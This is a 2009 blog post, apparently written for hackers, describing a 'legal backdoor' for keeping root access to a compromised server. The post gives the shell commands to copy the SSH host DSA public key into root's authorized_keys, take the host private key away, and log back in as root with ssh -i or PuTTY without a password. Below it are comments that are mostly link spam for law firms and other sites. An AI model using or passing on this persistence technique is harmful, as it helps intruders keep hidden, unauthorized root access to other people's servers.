Thursday, January 29, 2009

legal Backdoor

Some Hackers they gain root privilege on a secure server but they can't install rootkit or backdoor, so what to do?

actually they can login any time to the server without known the root password!!!

by using RSA or DSA private key to login.

On Server Side:
-------------------
  • copy the public key "/etc/ssh/ssh_host_dsa_key.pub " to "~/.ssh/authorized_keys" with chmod 600
#cp /etc/ssh/ssh_host_dsa_key.pub ~/.ssh/authorized_keys
#chmod 600 ~/.ssh/authorized_keys


On Client Side:
------------------
  • save the private key "/etc/ssh/ssh_host_dsa_key" to your machine with chmod 600
  • use it with SSH option "-i" to login without password.
#chmod 600 ssh_host_dsa_key

#ssh root@192.168.1.2 -i ssh_host_dsa_key

For Windows Users:
---------------------
  • copy the private key "/etc/ssh/ssh_host_dsa_key" content to window notepad
  • load it in puttygen.exe and save it again with .ppk extension
  • select the key from putty>connection>SSH>Auth

and enjoy login without password ;)

17 comments:

  1. تفكير نقي والله الطريق رائعة
    عضو في sec-r1z
    M0µ34d

    ReplyDelete
  2. freelancing meaning



    Thanks for sharing article nice one..waiting for next one keep it up

    ReplyDelete
  3. The dedicated lawyer will get the response and comments of the relevant lawyer and inform the client within the pre-fixed time.Contabilitate Iasi

    ReplyDelete
  4. The data you have posted is extremely valuable. The locales you have alluded was great. A debt of gratitude is in order for sharing... https://www.mosscolella.com/michigan-motorcycle-accident-lawyers/

    ReplyDelete
  5. Its like you read my mind! You seem to know so much about this,like you wrote the book in it or something. point pleasant nj attorney

    ReplyDelete
  6. Nice information, valuable and excellent design, as share good stuff with good ideas and concepts, lots of great information and inspiration, both of which I need, thanks to offer such a helpful information here..EliaAndPonto.com

    ReplyDelete
  7. A decision should not be made until you have met with the lawyer and felt comfortable working with him/her. US Citizenship

    ReplyDelete
  8. Indeed the Internet. But, this is your least reliable source because everything could be put on the 'net. Website

    ReplyDelete
  9. The most inspiring stuff commonly is probably the most dull or boring concern. a single rooster may not be in the same woody plant strip very long, and also the pets within the pine is a kind of weight, always want to consult the next stars, the particular fowl because the plants are really hesitant to facial expression an equal beautiful places day by day. Website

    ReplyDelete
  10. We live in a data age, where individuals know about their key rights and obligations, so lawyers and other legal experts must know how to have accomplishment for a customer.Click Here

    ReplyDelete
  11. Getting a lawyer who practices as slip damage lawyer will be a positive advance towards equity. Damage lawyers can likewise be alluded to us individual damage lawyers. This is on the grounds that the wounds one manages amid the slip may make mental or physical damage a man.car accident

    ReplyDelete
  12. I can set up my new idea from this post. It gives in depth information. Thanks for this valuable information for all,.. www.gpwlaw-mi.com/florida-mesothelioma-lawyer/

    ReplyDelete
  13. The post is written in very a good manner and it contains many useful information for me. Click Here

    ReplyDelete
  14. The blog depicts how hard the writer has worked on this.
    debt collector harassment

    ReplyDelete
  15. It’s amazing in support of me to truly have a web site that is valuable meant for my knowledge.

    ReplyDelete
  16. He takes care of company efficiently and professionally, with all the consumers’ interest at heart constantly. His goodies you for an identical the entire time, keep up to date the best work, Brett!local dui attorneys

    ReplyDelete
  17. Your post has those facts which are not accessible from anywhere else. It’s my humble request to u please keep writing such remarkable articles jameslnowlin.com

    ReplyDelete